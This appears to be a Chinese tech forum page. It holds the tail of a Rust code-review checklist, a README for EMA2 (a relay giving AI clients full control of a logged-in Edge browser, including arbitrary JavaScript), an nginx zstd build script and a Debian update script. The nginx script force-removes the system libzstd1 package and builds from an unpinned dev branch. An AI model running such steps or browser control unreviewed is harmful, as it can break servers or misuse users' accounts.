数据库与持久化 连接池:大小、acquire_timeout、语句缓存;长事务持连接持锁 → 池耗尽 事务边界:begin() → ? → commit() 完整性;sqlx Transaction Drop 回滚语义;失败回滚;嵌套事务用 savepoint sqlx 编译期校验(query!)与离线模式(cargo sqlx prepare 提交 .sqlx 或 SQLX_OFFLINE) 索引、唯一约束、外键;唯一约束冲突显式处理(ON CONFLICT/捕获错误) 并发控制:SELECT FOR UPDATE 或版本列乐观锁 分页:深分页用 keyset/cursor 而非 OFFSET;排序与批量操作 迁移遵循 expand-contract:破坏性 schema 变更与应用代码变更不同步发布;迁移须可回滚并测试 避免用业务代码模拟数据库本身可提供的约束 8. 并发与异步 std Mutex 不可重入:同线程重复 lock = 死锁或 panic 锁守卫(MutexGuard)跨 .await:阻塞 executor;current-thread runtime 下死锁;收窄临界区或按场景换 tokio::sync::Mutex 锁顺序成环 → 死锁;RwLock 写饥饿;poisoning 级联(lock().unwrap() 链式 panic:统一 poison 策略或评估 parking_lot) tokio::spawn 的 JoinHandle 被丢弃:任务 panic 无人观察、静默终止 → 用 JoinSet/TaskTracker + CancellationToken;服务须处理 SIGTERM 优雅停机 channel:receiver 提前 drop、send 失败处理、无界 channel 无背压 → 优先有界 取消安全:select! 分支半完成状态、timeout 包裹非取消安全操作(如 read_exact);自定义 async API 注明取消语义 block_on 嵌套、runtime 线程内阻塞等待;CPU 密集/阻塞 IO → spawn_blocking 后台任务:无限运行、缺超时、缺存活监控(心跳/看门狗) Arc 循环引用 → Weak;静态初始化优先 OnceLock/LazyLock(视 MSRV 淘汰 lazy_static/once_cell) 自定义同步原语 → loom 模型检查 确保并发优化不破坏数据一致性;优先消息传递与不可变共享 9. API 与错误处理 错误体系:库用 thiserror 保持错误类型明确,应用层用 anyhow,边界不混用 From 实现、source 链保留根因;稳定机器可读错误码 HTTP 状态码映射;错误响应分级:客户端收安全文案,内部详情只进日志 panic 兜底转换为稳定外部错误(500),而非断连 参数验证、超时、重试(指数退避 + 抖动,防惊群)、限流、幂等键 #[must_use] 于返回 Result 的 API SemVer:cargo semver-checks;#[non_exhaustive]、sealed trait、pub use 再导出的影响;serde 序列化格式版本兼容 10. 可观测性与运维 tracing:级别合理、关键路径 #[instrument]、字段结构化、请求 ID 跨层传播 敏感字段脱敏;高频路径日志采样/降级 panic hook 落日志;错误可被监控系统捕获(未处理任务错误、后台任务失败) 非阻塞 writer(tracing_appender);metrics(counter/histogram)覆盖核心失败路径 日志格式与 subscriber 配置统一 11. 配置、环境与构建 配置硬编码、开发/测试/生产隔离;环境变量缺失显式报错(禁静默默认值) 敏感配置不入源码/版本控制(.env 入 .gitignore) cfg!(debug_assertions) 不得作为安全逻辑开关 release profile 决策:overflow-checks 取舍、panic 设置对回滚/catch_unwind 的影响、strip/debug 符号用于线上排障 CI feature 矩阵(cargo hack --each-feature 或 --feature-powerset 子集)+ --all-features 验证 MSRV 验证(cargo hack check --rust-version 或版本矩阵);--locked 构建 12. 依赖与第三方库 漏洞与许可:cargo audit / cargo deny 重复依赖版本(cargo tree -d);workspace 用 [workspace.dependencies] 统一 无用依赖(cargo machete)删除;依赖与 MSRV 兼容 升级策略:patch 可自动、minor 需过全量测试、major 仅出方案不自动执行 优先使用已有依赖与标准库,不为简单功能引入大型依赖 13. 测试与验证 盘点现有测试:#[cfg(test)] 单元、tests/ 集成、文档测试、快照 每个修复的 Bug 必须附带回归测试(自动修改的准入条件);优先把 panic 路径改为返回 Result,#[should_panic] 仅作补充 补齐:边界条件、错误路径、安全逻辑、unsafe 定向测试 按需引入:proptest(属性测试)、insta(快照,变更必须人工 review 后接受,禁止盲目 accept)、cargo-fuzz(解析器)、loom(同步原语)、criterion(基准)、cargo llvm-cov(覆盖率参考) 每次修改后:cargo fmt --all -- --check、cargo clippy --all-targets --all-features -- -D warnings、cargo test --all-features 不得修改断言、删除测试、掩盖真实问题以让测试通过 14. 兼容性 edition 与 MSRV(rust-version 字段、CI 矩阵);edition 升级注意 2024 变化(unsafe 属性语法、static mut 引用报错、unsafe_op_in_unsafe_fn 默认警告) 公共 API SemVer:pub 可见性变更、trait 签名修改;用 cargo semver-checks / cargo public-api 对比 API 面 serde 格式、feature 增删的兼容性影响;MSRV 提升对库属破坏性变更 Breaking Change 必须明确说明影响范围 15. 架构与长期维护 workspace 划分与 crate 边界(禁止循环依赖、模块层级纠缠) 核心 crate 职责是否过重、技术债务 pub 接口最小化;公共 API 文档完备(missing_docs) unsafe 隔离在专用模块并有不变量注释 + #![forbid(unsafe_code)] 固化无 unsafe 的 crate 宏的可维护性与滥用;避免过度设计(多余 trait 抽象、为模式而模式) 优先简单、稳定、易维护的方案 16. FFI 与嵌入式专项(条件启用:项目存在时才审查) extern "C" 边界 panic 必须 catch_unwind 拦截并转错误码——panic 逃逸将 abort 进程 CString 所有权与生命周期、内部 NUL、null 结尾契约 边界类型 #[repr(C)] 布局;指针所有权契约(谁分配谁释放、分配器匹配);#[no_mangle](2024 需 unsafe(no_mangle)) #[repr(packed)] 字段引用 UB 嵌入式:no_std、panic=abort 下的错误汇报、无分配路径(try_reserve)、临界区内禁止阻塞 第三部分:自动修改规程 风险分级与处置矩阵 等级 典型改动 处置方式 L0 fmt、死 import、明确死代码、移除失效 #[allow] 直接改 + cargo check L1 内部实现修复,有测试覆盖、行为可证不变 直接改 + 定向测试 + clippy + test L2 错误处理语义、锁类型更换、查询优化 影响分析 → 说明风险 → 优先兼容方案 → 全量测试 + 基准 L3 公共 API、serde 格式、unsafe 修复、事务语义 只出方案与风险说明,标记待确认(除非明确授权执行) L4 Breaking change、数据迁移、依赖 major 升级 不执行,仅报告与迁移建议 红线(违反任意一条即视为本次任务失败) 不得用 unwrap()/expect() 让编译通过 不得用 .clone() 无脑消除借用冲突(优先重构借用关系) 不得用 #[allow(...)] 压制警告来“清零”告警 不得引入 unsafe 绕过借用检查或所有权限制 不得通过关闭/绕过安全机制(auth、TLS 校验、边界检查)解决安全问题 不得在坏基线(编译失败/测试红)上做功能性修改 不得将机械改动与语义改动混在同一批次/提交 不得修改测试断言、删除测试、盲目接受快照以“通过验证” 不得在无回归测试覆盖时改动公共 API 行为或序列化格式 不得顺手升级依赖 major 版本 不得凭“编译通过”判定行为未变(编译 ≠ 语义等价) 任何无法确认的问题必须标记**“待确认”**,禁止猜测性破坏修改 修改必须可回滚(独立提交或原始代码快照) 验证矩阵(改动类型 → 最低门禁) 改动类型 必须验证 纯格式/命名/死代码 fmt + check 内部重构(声称行为不变) clippy + 全量 test + doctest 错误处理 错误路径定向测试 + clippy 并发/锁 全量 test +(如适用)loom/压力说明 unsafe miri + 定向测试 + SAFETY 注释完备性 性能 criterion 前后对比(无基准则降级为“标记待确认”) 公共 API / serde semver-checks + 序列化快照测试 + 兼容性说明 数据库/迁移 迁移前向/回滚演练 + SQLX_OFFLINE 编译 依赖 audit/deny + 全量 test 停止条件 单批次验证连续失败 2 次 → 回滚该批次,标记待确认 必需验证工具不可用且改动影响运行时行为 → 停止自动修改,转纯报告 触及 L3/L4 且未获明确授权 → 停止执行,交付方案 Diff 自审清单(终审前逐项过) 是否存在计划表之外的改动(scope creep)? 注释/文档是否与代码同步? 测试是否同步补充? 是否引入新 panic 路径、新分配热点、新 unsafe? 序列化输出、HTTP 响应、日志格式是否有意外变化? feature 组合与 MSRV 是否仍满足? 第四部分:产出物模板 计划表 优先级 位置 问题(含证据) 类别 风险等级 影响范围 修改方案 验证方式 决策 状态 P0 file.rs:123 unsafe 块无 SAFETY 注释且越界论证缺失 unsafe 高 解析入口 收敛边界+补注释+测试 miri + test 直接修 待处理 P1 mod.rs:45 ... Bug/性能 中 ... ... test + bench 待确认 待处理 待确认清单 编号 问题 无法确认的原因 建议调查路径 T-01 ... ... ... 终审报告 发现的问题(总数 + 分级统计) 已修改的问题(每项附:改了什么、为什么安全、验证证据) 未修改的问题及原因(风险/工具缺失/语义不明) unsafe 审计结果(逐块四分类结论) 性能优化结果(附基准数据,或说明无基准依据未执行) 安全检查结果 测试/构建/clippy 结果(基线 vs 终态:警告数、测试数、通过率) 仍然存在的风险 后续建议(按优先级排序) 回滚指引(批次/提交与改动的对应关系)
  • Edge MCP Agent 2

    1
    1 帖子
    232 浏览
    四折光曲四
    https://github.com/Raven777777/EMA2 EMA2 — Edge MCP Agent 2 (Rust) 通过「Edge 扩展 + 单进程 Rust 中继」让 AI 助手直接控制你的真实 Edge 浏览器: 读取任意网页、操作标签页、点击元素、执行 JS,并带真实登录态。 AI 客户端 ──MCP over HTTP──> ema2.exe (单进程) ──WebSocket──> Edge 扩展 ──> 真实浏览器 (opencode / Claude ...) http://127.0.0.1:8765/mcp ws://127.0.0.1:8765/ 特性 单进程、单 exe(约 1.5 MB):Rust 实现,一个常驻进程同时承担 MCP 服务与浏览器桥接 MCP over HTTP:标准 Streamable HTTP + legacy SSE 双传输,opencode type: remote 直连 控制真实浏览器:真实指纹、真实登录态,无头检测失效,不依赖 CDP 调试端口 18 个工具:读页面 / 读标签页 / 列标签页 / 新建关闭 / 导航 / 点击 / 执行 JS,以及等待、截图、表单和页面交互工具 MV3 保活:定时 ping,防止 Edge 扩展 service worker 闲置回收断连 安全:只绑定 127.0.0.1 目录结构 EMA2/ ├── bin/ema2.exe # release 构建的单 exe(直接分发) ├── rust/ # Rust 源码(cargo 工程) │ └── src/ │ ├── main.rs # 子命令:run / status │ ├── config.rs # 端口/保活(env 覆盖) │ ├── http.rs # axum:/mcp + /sse + /messages + /status + WS │ ├── mcp.rs # MCP 协议处理 │ ├── relay.rs # 扩展 WS 连接 + 保活 │ ├── state.rs # 共享状态(扩展连接/待响应映射) │ └── tools.rs # 18 个工具定义 ├── extension/ # Edge 浏览器扩展 (MV3) ├── scripts/ │ ├── setup.cmd # cargo build --release → bin/ │ ├── start-bridge.cmd # 启动常驻中继(隐藏后台) │ └── stop-bridge.cmd # 停止中继 ├── examples/ │ ├── opencode.json.example # opencode remote MCP 配置 ├── docs/ARCHITECTURE.md ├── README.md └── LICENSE 快速开始 前置要求 Microsoft Edge(新版) Rust 工具链(仅构建和测试需要;运行只需 bin/ema2.exe) 1. 启动中继 scripts\start-bridge.cmd # 或直接运行 bin\ema2.exe run 2. 加载扩展 Edge 打开 edge://extensions/ 打开右上角「开发人员模式」 「加载解压缩的扩展」→ 选择 extension/ 目录 确认扩展已启用:bin\ema2.exe status 显示 "extension_connected": true 3. 配置 AI 客户端 opencode(~/.config/opencode/opencode.json): { "mcp": { "edge-browser": { "type": "remote", "url": "http://127.0.0.1:8765/mcp", "enabled": true } } } Claude Desktop(%APPDATA%\Claude\claude_desktop_config.json): { "mcpServers": { "edge-browser": { "url": "http://127.0.0.1:8765/mcp" } } } 然后重启 AI 客户端。 工具列表 工具 说明 edge_get_tabs 列出所有标签页(id/title/url/active) edge_get_active_tab 当前标签页信息 edge_read_active_tab 提取当前标签页纯文本 edge_read_tab 按 tabId 提取指定标签页纯文本 edge_execute_js 在当前标签页执行任意 JS(chrome.debugger) edge_click_element 按 CSS 选择器点击元素 edge_new_tab / edge_close_tab 新建 / 关闭标签页 edge_navigate 当前标签页跳转 edge_wait_for 等文本出现/消失或固定时长(默认超时 30s) edge_take_screenshot 截图(保存 PNG 到输出目录,返回文件路径) edge_console_messages 读取页面 console 日志 edge_network_requests 列出页面发起的网络请求(performance entries) edge_type 向选择器元素输入文本(触发 input/change) edge_press_key 在当前聚焦元素按键(Enter/Escape 等) edge_fill_form 批量填充表单字段 edge_hover 悬停到指定元素 edge_scroll 页面滚动(默认一个视口高度) 配置(环境变量) 变量 默认 说明 EDGE_MCP_PORT 8765 监听端口 EDGE_MCP_KEEPALIVE_MS 10000 MV3 保活 ping 间隔 EDGE_MCP_TOKEN 无 启用后 MCP HTTP 需 Authorization: Bearer <token>;扩展 WS 地址需追加 ?token=<token> EDGE_MCP_OUTPUT_DIR ./output 截图输出目录 命令行 bin\ema2.exe run --port 8765 # 启动常驻中继 bin\ema2.exe status # 健康检查(含扩展连接状态) HTTP MCP 调用示例 不依赖任何 SDK,任何语言用 HTTP POST 即可调用(这也是 opencode remote 接入的方式): # 1. 握手 curl -X POST -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"t","version":"1"}}}' \ http://127.0.0.1:8765/mcp # 2. 工具列表 curl -X POST -H "Content-Type: application/json" -H "Mcp-Session-Id: <session-id-from-step-1>" \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' \ http://127.0.0.1:8765/mcp # 3. 调用工具(打开新标签页 / 读取标签页文本) curl -X POST -H "Content-Type: application/json" -H "Mcp-Session-Id: <session-id-from-step-1>" \ -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"edge_new_tab","arguments":{"url":"https://www.bing.com"}}}' \ http://127.0.0.1:8765/mcp Node.js 示例(读取网页正文): // sessionId is the Mcp-Session-Id response header from initialize. const res = await fetch('http://127.0.0.1:8765/mcp', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Mcp-Session-Id': sessionId }, body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'edge_read_active_tab', arguments: {} } }), }); const j = await res.json(); console.log(j.result.content[0].text); 构建 scripts\setup.cmd # 或 cd rust && cargo build --release,产物复制到 bin/ 验证 Rust 服务和扩展脚本: cd rust cargo test cargo build --release cd .. node --check extension\background.js cargo test 当前用于验证项目可编译和测试入口;浏览器工具需要加载 Edge 扩展后才能进行端到端调用。 天气查询脚本 scripts/weather.js 通过 EMA2 MCP 控制真实 Edge,在 Google 查询天气并读取结果,不直接调用天气 API。需要先启动中继并确保扩展已连接: node scripts/weather.js "Tokyo" node scripts/weather.js "New York" node scripts/weather.js "Shanghai" --json 作为模块复用: const { queryWeather } = require('./scripts/weather.js'); const weather = await queryWeather('Tokyo'); 可通过 EMA2_MCP_URL 和 EDGE_MCP_TOKEN 覆盖 MCP 地址和鉴权;浏览器控制请求超时为 30 秒。 常见问题 扩展报 ERR_CONNECTION_REFUSED 中继没在运行。先 scripts\start-bridge.cmd,扩展会自动重连(每 3s)。 edge_execute_js 报错 该工具走 chrome.debugger,attach 时 Edge 会短暂显示"正在调试"提示;不能在内置页面(edge:// 等)执行。若行为异常,到 edge://extensions/ 刷新扩展。 想换端口 环境变量 EDGE_MCP_PORT,或 ema2.exe run --port <n>;扩展侧通过 chrome.storage.local 设置 wsUrl 同步修改。 重启电脑后中继没了 scripts\start-bridge.cmd 是手动常驻;如需开机自启,加入「启动」文件夹或任务计划。 安全提示 中继只绑定 127.0.0.1,不要对外网暴露 扩展含 debugger + <all_urls> 权限,等价于完全控制浏览器,仅用于可信的本机环境 用真实登录态做高频自动化时,遵守目标网站服务条款,账号风控依旧有效 MIT
  • Nginx Zstd 自动安装脚本

    1
    1 帖子
    335 浏览
    四折光曲四
    [color=#FF4D4D]环境:Debian 13 Nginx1.31.1[/color] nano auto_zstd_nginx.sh #!/usr/bin/env bash # ============================================================================== # 脚本名称: auto_zstd_nginx.sh # 适用系统: Debian 12/13 / Ubuntu # 功能描述: 具备智能缓存检测的全功能 Nginx Zstd 动态模块编译与全自动更新脚本 # ============================================================================== set -e # 遇到致命错误立即停止执行 # 颜色输出定义 GREEN='\033[0;32m' RED='\033[0;31m' YELLOW='\033[1;33m' NC='\033[0m' log_info() { echo -e "${GREEN}[INFO] $1${NC}"; } log_warn() { echo -e "${YELLOW}[WARN] $1${NC}"; } log_err() { echo -e "${RED}[ERROR] $1${NC}"; exit 1; } SRC_DIR="/usr/src" CACHE_META="${SRC_DIR}/.nginx_zstd_cache.meta" MODULES_INSTALL_DIR="/usr/lib/nginx/modules" # 1. 权限检查 if [ "$EUID" -ne 0 ]; then log_err "请使用 root 用户或通过 sudo 运行此脚本!" fi # 2. 检测当前运行的 Nginx 状态 if ! command -v nginx &> /dev/null; then log_err "未检测到系统安装了 Nginx,请先安装 Nginx 主程序!" fi # 动态提取当前 Nginx 版本号 (例如: 1.31.0) NGINX_VER=$(nginx -v 2>&1 | awk -F/ '{print $2}' | cut -d' ' -f1) NGINX_ARGS=$(nginx -V 2>&1 | grep "configure arguments:" | sed 's/configure arguments://') log_info "当前系统运行的 Nginx 版本: ${NGINX_VER}" # 自动修正模块安装路径 if [ ! -d "$MODULES_INSTALL_DIR" ]; then MODULES_INSTALL_DIR="/etc/nginx/modules" fi # 3. 智能检测远端 Zstd 库的最新版本(无需提前克隆) log_info "正在检测 Facebook Zstd 官方仓库最新动态..." if ! command -v git &> /dev/null; then # 如果没有 git,临时安装以便检测 apt-get update -y || true apt-get install -y git wget awk fi # 获取远程最新 Commit ID REMOTE_ZSTD_COMMIT=$(git ls-remote https://github.com/facebook/zstd.git HEAD | awk '{print $1}') if [ -z "$REMOTE_ZSTD_COMMIT" ]; then log_err "无法连接到 GitHub 获取 Zstd 版本,请检查网络连接。" fi # 4. 缓存验证:比对版本与文件完整性 NEED_BUILD_ZSTD=true NEED_BUILD_MODULE=true if [ -f "$CACHE_META" ]; then # 读取缓存的元数据 # shellcheck disable=SC1090 source "$CACHE_META" # 检查本地动态库文件是否存在 if [ -f "/usr/local/lib/libzstd.so" ] && [ "$LAST_ZSTD_COMMIT" == "$REMOTE_ZSTD_COMMIT" ]; then NEED_BUILD_ZSTD=false log_info "✨ 检测到本地 Zstd 核心库已是最新版本 (${REMOTE_ZSTD_COMMIT:0:7}),跳过拉取与编译。" fi # 检查 Nginx 动态模块文件是否存在并比对版本 if [ -f "${MODULES_INSTALL_DIR}/ngx_http_zstd_filter_module.so" ] && \ [ -f "${MODULES_INSTALL_DIR}/ngx_http_zstd_static_module.so" ] && \ [ "$LAST_NGINX_VER" == "$NGINX_VER" ] && \ [ "$NEED_BUILD_ZSTD" == "false" ]; then NEED_BUILD_MODULE=false fi fi # 如果一切都未改变,直接退出 if [ "$NEED_BUILD_ZSTD" == "false" ] && [ "$NEED_BUILD_MODULE" == "false" ]; then log_info "🚀 [完美缓存] 当前 Nginx 编译环境与 Zstd 模块均无任何更新,无需重复编译!" exit 0 fi # 5. 解决 APT 签名错误并安装依赖 log_info "正在准备同步系统依赖包..." # 核心容错:使用 || true 允许非关键性源(如 MySQL 签名过期)报错,不中断脚本 apt-get update -y || log_warn "部分第三方软件源同步失败(例如系统的 MySQL 密钥未找到),脚本将忽略并尝试继续..." log_info "正在安装与更新必要的编译工具链..." apt-get install -y build-essential git libpcre3-dev zlib1g-dev libssl-dev debhelper wget # 如果系统残留了旧的发行版自带库,予以清除以防冲突 if dpkg -l | grep -q libzstd-dev; then log_warn "清理系统自带的旧版 libzstd-dev 以防链路冲突..." apt-get remove -y libzstd-dev libzstd1 || true fi # 6. 【按需编译】最新的 Zstd 核心库 cd ${SRC_DIR} if [ "$NEED_BUILD_ZSTD" == "true" ]; then log_info "正在下载/更新 Zstd 官方源码并进行编译..." if [ ! -d "zstd" ]; then git clone --depth 1 https://github.com/facebook/zstd.git fi cd zstd git fetch --depth 1 origin git reset --hard origin/dev || git reset --hard origin/master # 适配官方默认主分支 log_info "开始编译 Zstd 核心库..." make -j$(nproc) make install ldconfig log_info "Zstd 核心库编译并安装成功。" fi # 7. 【按需编译】Nginx Zstd 动态模块 cd ${SRC_DIR} if [ "$NEED_BUILD_MODULE" == "true" ]; then log_info "正在同步 Nginx 源码与动态模块源码..." # 清理旧的 Nginx 源码目录确保干净编译 rm -rf "nginx-${NGINX_VER}" "nginx-${NGINX_VER}.tar.gz" wget -c "http://nginx.org/download/nginx-${NGINX_VER}.tar.gz" tar -zxf "nginx-${NGINX_VER}.tar.gz" if [ ! -d "zstd-nginx-module" ]; then git clone https://github.com/tokers/zstd-nginx-module.git fi cd zstd-nginx-module && git pull && cd .. log_info "配置 Nginx 模块环境,无缝继承原生 Nginx 编译参数..." cd "nginx-${NGINX_VER}" # 注入原生参数与定制的 Zstd include 路径 eval "./configure ${NGINX_ARGS} --add-dynamic-module=${SRC_DIR}/zstd-nginx-module --with-cc-opt='-I/usr/local/include' --with-ld-opt='-L/usr/local/lib -Wl,-rpath,/usr/local/lib'" log_info "并行编译 Nginx Zstd 动态模块..." make modules log_info "将编译产物自动替换至 Nginx 目录..." mkdir -p ${MODULES_INSTALL_DIR} cp objs/ngx_http_zstd_filter_module.so ${MODULES_INSTALL_DIR}/ cp objs/ngx_http_zstd_static_module.so ${MODULES_INSTALL_DIR}/ chmod 644 ${MODULES_INSTALL_DIR}/ngx_http_zstd_*.so # 检查模块语法 if nginx -t &>/dev/null; then log_info "Nginx 配置文件语法检查通过,正在平滑重启服务..." systemctl reload nginx || log_warn "Nginx 重载失败,请手动检查系统服务状态。" else log_warn "检测到 Nginx 配置当前存在异常,未自动重载,请执行 'nginx -t' 排查。" fi fi # 8. 写入/更新本地编译缓存元数据 cat > "$CACHE_META" <<EOF LAST_NGINX_VER="${NGINX_VER}" LAST_ZSTD_COMMIT="${REMOTE_ZSTD_COMMIT}" EOF log_info "==================================================" log_info "🎉 全功能自动 Nginx Zstd 模块部署/更新任务成功完成!" log_info "当前缓存状态:Nginx [${NGINX_VER}] | Zstd [${REMOTE_ZSTD_COMMIT:0:7}]" log_info "==================================================" chmod +x auto_zstd_nginx.sh # 执行两次测试版本缓存 sudo ./auto_zstd_nginx.sh
  • Debian 13 自动更新脚本

    1
    1 帖子
    370 浏览
    四折光曲四
    每次都手动打好麻烦 创建脚本 #!/bin/bash # 定义颜色 GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' # 无颜色 echo -e "${YELLOW}>>> 正在同步软件包索引...${NC}" sudo apt update echo -e "\n${GREEN}>>> 开始执行系统升级 (Full Upgrade)...${NC}" # 移除 -y 参数,这样在升级前会停下来让你确认 [Y/n] # 如果你想完全自动但看过程,可以保留 -y sudo apt full-upgrade echo -e "\n${YELLOW}>>> 正在清理过期的缓存和无用依赖...${NC}" sudo apt autoremove -y sudo apt autoclean echo -e "\n${GREEN}>>> 更新任务已完成!${NC}" 赋予权限 sudo chmod +x /usr/local/bin/auto_update.sh 执行 auto_update.sh